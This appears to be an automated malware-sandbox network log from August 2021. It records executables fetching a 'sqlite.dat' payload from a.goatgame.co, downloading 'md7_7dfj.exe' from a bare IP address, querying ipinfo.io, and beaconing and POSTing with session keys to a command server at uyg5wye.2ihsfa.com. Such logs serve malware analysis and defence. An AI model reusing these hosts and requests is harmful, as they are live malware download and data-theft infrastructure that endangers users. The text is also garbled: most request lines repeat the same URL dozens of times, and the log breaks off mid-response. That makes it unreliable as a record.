                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:38 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dYZQCGLAW2gZ04li8rVFEA5rJBWh4vFOYUoxpsu7i8BKDlQWm5Cu1jX3IHWtPFu060MYUYGbW8wELL7FcEHoQfCH2y9t5FACoD0oMHKpeuo%2BrQapV8CGKIayeyNcUafd"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a0b18c91e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:40 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RibggYf%2BQZ8%2FJGn4kX%2FAaW5ZEBqbF8BMB3Nh7M7JfMkyX8Ry1dn%2FoAIfE4EwzOWfVss9XdGPkfewjoDHsgEzPf8UgYxOIjD9PI04VMCKjO09785u23zMvgoBtXEFAVxg"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a151c3f1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:41 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KbqtA2%2FcPRzDgXcDnGZ9KA3m2UyVs9q91e7rSk9yRjYsC62FW5ceA8N1UC6kfxqeVqUJRKgDGFcFHP8SizzP05Ssb04V%2BZzfnxXLXXokkAiJmDMqQcDC1k5l5q9gWWeF"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a1f990c1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://186.2.171.3/seemorebty/il.php?e=md7_7dfj
                                                                                                                                                                                                                                          md7_7dfj.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          186.2.171.3:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /seemorebty/il.php?e=md7_7dfj HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
                                                                                                                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                                                                          Referer: https://www.facebook.com
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
                                                                                                                                                                                                                                          Host: 186.2.171.3
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: ddos-guard
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=60
                                                                                                                                                                                                                                          Set-Cookie: __ddg1=qd9yajXMz1SaPFmtr5Sa; Domain=.171.3; HttpOnly; Path=/; Expires=Sun, 21-Aug-2022 10:25:09 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:58 GMT
                                                                                                                                                                                                                                          Upgrade: h2
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.117.59.81
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          45.136.151.102
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://uyg5wye.2ihsfa.com/api/fbtime
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.136.151.102:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api/fbtime HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          Host: uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:10 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.4.21
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://uyg5wye.2ihsfa.com/api/?sid=215349&key=88beead63c5ee126a39b166fb9a25cd9
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.136.151.102:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /api/?sid=215349&key=88beead63c5ee126a39b166fb9a25cd9 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          Content-Length: 266
                                                                                                                                                                                                                                          Host: uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
